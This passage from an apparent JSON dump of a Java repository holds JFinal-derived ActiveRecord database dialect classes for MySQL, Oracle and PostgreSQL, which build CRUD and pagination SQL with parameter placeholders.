sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\t// Record 新增支持 modifyFlag\n//\t\tSet<String> modifyFlag = CPI.getModifyFlag(record);\n//\t\tSet<String> modifyFlag = record._getModifyFlag();\n\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n//\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n//\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\n\t/**\n\t * SELECT * FROM subject t1 WHERE (SELECT count(*) FROM subject t2 WHERE t2.id < t1.id AND t2.key = '123') > = 10 AND (SELECT count(*) FROM subject t2 WHERE t2.id < t1.id AND t2.key = '123') < 20 AND t1.key = '123'\n\t * /\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tthrow new RuntimeException(\"Your should not invoke this method because takeOverDbPaginate(...) will take over it.\");\n\t}\n\n\tpublic boolean isTakeOverDbPaginate() {\n\t\treturn true;\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Page<Record> takeOverDbPaginate(Connection conn, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) throws SQLException {\n\t\t// String totalRowSql = \"select count(*) \" + replaceOrderBy(sqlExceptSelect);\n//\t\tList result = CPI.query(conn, totalRowSql, paras);\n\t\tList result = Db.use().queryList(totalRowSql, paras);\n\t\tint size = result.size();\n\t\tif (isGroupBySql == null) {\n\t\t\tisGroupBySql = size > 1;\n\t\t}\n\n\t\tlong totalRow;\n\t\tif (isGroupBySql) {\n\t\t\ttotalRow = size;\n\t\t} else {\n\t\t\ttotalRow = (size > 0) ? ((Number)result.get(0)).longValue() : 0;\n\t\t}\n\t\tif (totalRow == 0) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, 0, 0);\n\t\t}\n\n\t\tint totalPage = (int) (totalRow / pageSize);\n\t\tif (totalRow % pageSize != 0) {\n\t\t\ttotalPage++;\n\t\t}\n\t\tif (pageNumber > totalPage) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, totalPage, (int)totalRow);\n\t\t}\n\n\t\t// StringBuilder sql = new StringBuilder();\n\t\t// sql.append(select).append(\" \").append(sqlExceptSelect);\n\t\tPreparedStatement pst = conn.prepareStatement(findSql.toString(), ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tpst.setObject(i + 1, paras[i]);\n\t\t}\n\t\tResultSet rs = pst.executeQuery();\n\n\t\t// move the cursor to the start\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfor (int i=0; i<offset; i++) {\n\t\t\tif (!rs.next()) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tList<Record> list = buildRecord(rs, pageSize);\n\t\tif (rs != null) rs.close();\n\t\tif (pst != null) pst.close();\n\t\treturn new Page<Record>(list, pageNumber, pageSize, totalPage, (int) totalRow);\n\t}\n\n\tprivate List<Record> buildRecord(ResultSet rs, int pageSize) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = new String[columnCount + 1];\n\t\tint[] types = new int[columnCount + 1];\n\t\tbuildLabelNamesAndTypes(rsmd, labelNames, types);\n\t\tfor (int k=0; k<pageSize && rs.next(); k++) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value;\n\t\t\t\tif (types[i] < Types.BLOB) {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t} else if (types[i] == Types.CLOB) {\n\t\t\t\t\tvalue = rs.getClob(i);\n\t\t\t\t\t//value = RecordBuilder.me.handleClob(rs.getClob(i));\n\t\t\t\t} else if (types[i] == Types.NCLOB) {\n\t\t\t\t\tvalue = rs.getNClob(i);\n\t\t\t\t\t//value = RecordBuilder.me.handleClob(rs.getNClob(i));\n\t\t\t\t} else if (types[i] == Types.BLOB) {\n\t\t\t\t\tvalue = rs.getBlob(i);\n\t\t\t\t\t//value = RecordBuilder.me.handleBlob(rs.getBlob(i));\n\t\t\t\t} else {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t}\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\n\tprivate void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n\t\tfor (int i=1; i<labelNames.length; i++) {\n\t\t\t// 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n\t\t\tlabelNames[i] = rsmd.getColumnLabel(i);\n\t\t\ttypes[i] = rsmd.getColumnType(i);\n\t\t}\n\t}\n\n\tpublic boolean isTakeOverModelPaginate() {\n\t\treturn true;\n\t}\n\n\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/Dialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.RecordUtil;\n\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.function.Function;\nimport java.util.regex.Pattern;\n\n/**\n * Dialect.\n */\npublic abstract class Dialect {\n\t\n\t// 指示 Generator、ModelBuilder、RecordBuilder 是否保持住 Byte、Short 类型\n\tprotected boolean keepByteAndShort = false;\n\n\t// Methods for common\n\tpublic abstract String forTableBuilderDoBuild(String tableName);\n\tpublic abstract String forPaginate(int pageNumber, int pageSize, StringBuilder findSql);\n\t\n\t// Methods for DbPro. Do not delete the String[] pKeys parameter, the element of pKeys needs to trim()\n\tpublic abstract String forDbFindById(String tableName, String[] pKeys);\n\tpublic abstract String forDbDeleteById(String tableName, String[] pKeys);\n\tpublic abstract void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras);\n\tpublic abstract void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras);\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from \" + tableName;\n\t}\n\t\n\t/**\n\t * 指示 MetaBuilder 生成的 ColumnMeta.javaType 是否保持住 Byte、Short 类型\n\t * 进而 BaseModelBuilder 生成针对 Byte、Short 类型的获取方法： \n\t * getByte(String)、getShort(String)\n\t */\n\tpublic boolean isKeepByteAndShort() {\n\t\treturn keepByteAndShort;\n\t}\n\t\n\tpublic List<Record> buildRecordList(ResultSet rs) throws SQLException {\n\t\treturn RecordUtil.build(rs);\n\t}\n\t\n\tpublic void eachRecord(ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n\t\tRecordUtil.build(rs, func);\n\t}\n\t\n\t/**\n\t * 用于获取 Db.save(tableName, record) 以后自动生成的主键值，可通过覆盖此方法实现更精细的控制\n\t * 目前只有 PostgreSqlDialect，覆盖过此方法\n\t */\n\tpublic void getRecordGeneratedKey(PreparedStatement pst, Record record, String[] pKeys) throws SQLException {\n\t\tResultSet rs = pst.getGeneratedKeys();\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (record.get(pKey) == null || isOracle()) {\n\t\t\t\tif (rs.next()) {\n\t\t\t\t\trecord.set(pKey, rs.getObject(1));\t// It returns Long for int colType for mysql\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trs.close();\n\t}\n\t\n\tpublic boolean isOracle() {\n\t\treturn false;\n\t}\n\t\n\tpublic boolean isTakeOverModelPaginate() {\n\t\treturn false;\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfor (int i=0, size=paras.size(); i<size; i++) {\n\t\t\tpst.setObject(i + 1, paras.get(i));\n\t\t}\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tpst.setObject(i + 1, paras[i]);\n\t\t}\n\t}\n\t\n\tpublic String getDefaultPrimaryKey() {\n\t\treturn \"id\";\n\t}\n\t\n\tpublic boolean isPrimaryKey(String colName, String[] pKeys) {\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (colName.equalsIgnoreCase(pKey)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 一、forDbXxx 系列方法中若有如下两种情况之一，则需要调用此方法对 pKeys 数组进行 trim():\n\t * 1：方法中调用了 isPrimaryKey(...)：为了防止在主键相同情况下，由于前后空串造成 isPrimaryKey 返回 false\n\t * 2：为了防止 tableName、colName 与数据库保留字冲突的，添加了包裹字符的：为了防止串包裹区内存在空串\n\t *   如 mysql 使用的 \"`\" 字符以及 PostgreSql 使用的 \"\\\"\" 字符\n\t * 不满足以上两个条件之一的 forDbXxx 系列方法也可以使用 trimPrimaryKeys(...) 方法让 sql 更加美观，但不是必须\n\t * \n\t * 二、forModelXxx 由于在映射时已经trim()，故不再需要调用此方法\n\t */\n\tpublic void trimPrimaryKeys(String[] pKeys) {\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tpKeys[i] = pKeys[i].trim();\n\t\t}\n\t}\n\t\n\tprotected static class Holder {\n\t\t// \"order\\\\s+by\\\\s+[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?(\\\\s*,\\\\s*[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?)*\";\n\t\tprivate static final Pattern ORDER_BY_PATTERN = Pattern.compile(\n\t\t\t\"order\\\\s+by\\\\s+[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?(\\\\s*,\\\\s*[^,\\\\s]+(\\\\s+asc|\\\\s+desc)?)*\",\n\t\t\tPattern.CASE_INSENSITIVE | Pattern.MULTILINE);\n\t}\n\t\n\tpublic String replaceOrderBy(String sql) {\n\t\treturn Holder.ORDER_BY_PATTERN.matcher(sql).replaceAll(\"\");\n\t}\n\t\n\t/**\n\t * fillStatement 时处理日期类型\n\t */\n\tprotected void fillStatementHandleDateType(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfor (int i=0, size=paras.size(); i<size; i++) {\n\t\t\tObject value = paras.get(i);\n\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\tpst.setDate(i + 1, (java.sql.Date)value);\n\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\tpst.setTimestamp(i + 1, (java.sql.Timestamp)value);\n\t\t\t\t} else {\n\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\tpst.setTimestamp(i + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpst.setObject(i + 1, value);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * fillStatement 时处理日期类型\n\t */\n\tprotected void fillStatementHandleDateType(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\tObject value = paras[i];\n\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\tpst.setDate(i + 1, (java.sql.Date)value);\n\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\tpst.setTimestamp(i + 1, (java.sql.Timestamp)value);\n\t\t\t\t} else {\n\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\tpst.setTimestamp(i + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpst.setObject(i + 1, value);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 为分页方法生成查询 totalRow 值的 sql\n\t * @param select sql 语句的 select 部分\n\t * @param sqlExceptSelect sql 语句除了 select 以外的部分\n\t * @param ext 扩展参数，在 Model 调用时传入 Model 对象，在 DbPro 调用时传入 null\n\t */\n\tpublic String forPaginateTotalRow(String select, String sqlExceptSelect, Object ext) {\n\t\treturn \"select count(*) \" + replaceOrderBy(sqlExceptSelect);\n\t}\n\n}\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/MysqlDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.util.List;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport io.github.wujun728.db.record.Record;\n\n/**\n * MysqlDialect.\n */\npublic class MysqlDialect extends Dialect {\n\n\tpublic MysqlDialect() {\n\t\t/*this.recordBuilder = TimestampProcessedRecordBuilder.me;*/\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from `\" + tableName + \"` where 1 = 2\";\n\t}\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from `\" + tableName + \"`\";\n\t}\n\t\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from `\").append(tableName).append(\"` where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from `\").append(tableName).append(\"` where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\t/**\n\t * Do not delete the String[] pKeys parameter, the element of pKeys needs to trim()\n\t */\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\t// important\n\t\t\n\t\tsql.append(\"insert into `\");\n\t\tsql.append(tableName).append(\"`(\");\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append('`').append(e.getKey()).append('`');\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tsql.append(\"update `\").append(tableName).append(\"` set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (!isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append('`').append(colName).append(\"` = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('`').append(pKeys[i]).append(\"` = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(offset).append(\", \").append(pageSize);\t// limit can use one or two '?' to pass paras\n\t\treturn findSql.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/OracleDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map.Entry;\n\nimport io.github.wujun728.db.record.Record;\n\n/**\n * OracleDialect.\n */\npublic class OracleDialect extends Dialect {\n\t\n\tpublic OracleDialect() {\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where rownum < 1\";\n\t}\n\t\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tint count = 0;\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (count++ > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(colName);\n\t\t\t\n\t\t\tObject value = e.getValue();\n\t\t\tif (value instanceof String && isPrimaryKey(colName, pKeys) && ((String)value).endsWith(\".nextval\")) {\n\t\t\t    temp.append(value);\n\t\t\t} else {\n\t\t\t\ttemp.append('?');\n\t\t\t\tparas.add(value);\n\t\t\t}\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (!isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint start = (pageNumber - 1) * pageSize;\n\t\tint end = pageNumber * pageSize;\n\t\tStringBuilder ret = new StringBuilder();\n\t\tret.append(\"select * from ( select row_.*, rownum rownum_ from (  \");\n\t\tret.append(findSql);\n\t\tret.append(\" ) row_ where rownum <= \").append(end).append(\") table_alias\");\n\t\tret.append(\" where table_alias.rownum_ > \").append(start);\n\t\treturn ret.toString();\n\t}\n\t\n\tpublic boolean isOracle() {\n\t\treturn true;\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic String getDefaultPrimaryKey() {\n\t\treturn \"ID\";\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/PostgreSqlDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map.Entry;\n\nimport io.github.wujun728.db.record.Record;\n\n/**\n * PostgreSqlDialect.\n */\npublic class PostgreSqlDialect extends Dialect {\n\t\n\tpublic PostgreSqlDialect() {\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \\\"\" + tableName + \"\\\" where 1 = 2\";\n\t}\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from \\\"\" + tableName + \"\\\"\";\n\t}\n\t\n\n\t\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \\\"\").append(tableName).append(\"\\\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \\\"\").append(tableName).append(\"\\\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \\\"\");\n\t\tsql.append(tableName).append(\"\\\"(\");\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(e.getKey()).append('\\\"');\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tsql.append(\"update \\\"\").append(tableName).append(\"\\\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (!isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append('\\\"').append(colName).append(\"\\\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(pageSize).append(\" offset \").append(offset);\n\t\treturn findSql.toString();\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\n\t/**\n\t * 解决 PostgreSql 获取自增主键时 rs.getObject(1) 总是返回第一个字段的值，而非返回了 id 值\n\t * issue: https://www.oschina.net/question/2312705_2243354\n\t * \n\t * 相对于 Dialect 中的默认实现，仅将 rs.getXxx(1) 改成了 rs.getXxx(pKey)\n\t */\n\tpublic void getRecordGeneratedKey(PreparedStatement pst, Record record, String[] pKeys) throws SQLException {\n\t\tResultSet rs = pst.getGeneratedKeys();\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (record.get(pKey) == null || isOracle()) {\n\t\t\t\tif (rs.next()) {\n\t\t\t\t\trecord.set(pKey, rs.getObject(pKey));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trs.close();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/Sqlite3Dialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport io.github.wujun728.db.record.Record;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\nimport 